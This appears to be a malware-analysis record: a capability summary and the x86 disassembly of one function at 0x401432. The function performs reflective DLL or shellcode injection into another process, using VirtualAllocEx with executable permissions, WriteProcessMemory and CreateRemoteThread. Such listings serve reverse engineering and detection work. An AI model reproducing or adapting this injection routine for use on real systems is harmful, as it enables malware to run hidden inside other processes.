Function at 0x401432
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject dll
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
push ebx
mov eax, dword [eax + 4]
push ebp
push esi
mov ebp, edx
push edi
mov esi, dword [ebp + 0x3c]
add esi, ebp
push 4
lea edi, [esi + 0x18]
mov dword [esp + 0x14], ecx
mov ecx, dword [edi + 0x38]
add eax, 0x14
add eax, ecx
push 0x3000
push eax
push 0
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x34], ecx
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [esp + 0x14], ebx
test ebx, ebx
je 0x4015f2
push 0x40
mov edx, ebp
mov ecx, ebx
call fcn.0040171c
movzx eax, word [esi + 0x14]
mov ecx, dword [ebx + 0x3c]
add ecx, ebx
push eax
mov edx, esi
mov dword [esp + 0x1c], ecx
call fcn.0040171c
movzx ecx, word [esi + 0x14]
mov edx, dword [esp + 0x18]
add ecx, edi
movzx edi, word [esi + 6]
movzx eax, word [edx + 0x14]
lea esi, [edx + 0x18]
add esi, eax
mov dword [esp + 0x20], ecx
test edi, edi
je 0x401501
mov ebp, ecx
sub ebp, esi
mov ebx, edi
push 0x28
lea edx, [esi + ebp]
mov ecx, esi
call fcn.0040171c
add esi, 0x28
dec ebx
jne 0x4014c5
mov ebx, dword [esp + 0x14]
mov ebp, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
test edi, edi
je 0x401501
lea esi, [ecx + 0x14]
mov edx, dword [esi]
mov ecx, dword [esi - 8]
push dword [esi - 4]
add edx, ebp
add ecx, ebx
call fcn.0040171c
lea esi, [esi + 0x28]
dec edi
jne 0x4014ea
mov ebp, dword [esp + 0x24]
add ebp, ebx
push str.KERNEL32
mov ebx, ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push 0x402054
push edi
mov dword [ebx], edi
call esi
mov dword [ebx + 8], eax
push str.LoadLibraryA
push edi
call esi
mov ecx, dword [esp + 0x34]
mov dword [ebx + 4], eax
lea eax, [ebp + 0x14]
sub eax, ebx
mov dword [ebx + 0xc], eax
mov eax, dword [ecx + 4]
mov dword [ebx + 0x10], eax
mov edx, dword [ecx]
push dword [ecx + 4]
add edx, ecx
lea ecx, [ebp + 0x14]
call fcn.0040171c
mov ebp, dword [esp + 0x28]
push 0x40
push 0x3000
push ebp
push 0
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, dword [esp + 0x14]
mov edi, eax
test edi, edi
je 0x4015e4
mov ebx, dword [esp + 0x18]
add ebx, 0x18
push ebx
mov edx, edi
mov ecx, esi
call fcn.00401393
mov eax, dword [ebx + 0x60]
test eax, eax
je 0x4015e4
cmp dword [ebx + 0x64], 0
je 0x4015e4
movzx ecx, word [esp + 0x38]
sub ecx, dword [eax + esi + 0x10]
mov eax, dword [eax + esi + 0x1c]
lea eax, [eax + ecx*4]
mov ebx, dword [eax + esi]
lea eax, [esp + 0x34]
push eax
push ebp
push esi
push edi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4015e4
cmp dword [esp + 0x34], ebp
jne 0x4015e4
xor ecx, ecx
push ecx
push ecx
push edi
lea eax, [ebx + edi]
push eax
push ecx
push ecx
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x4015e4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x1c
ret 0xc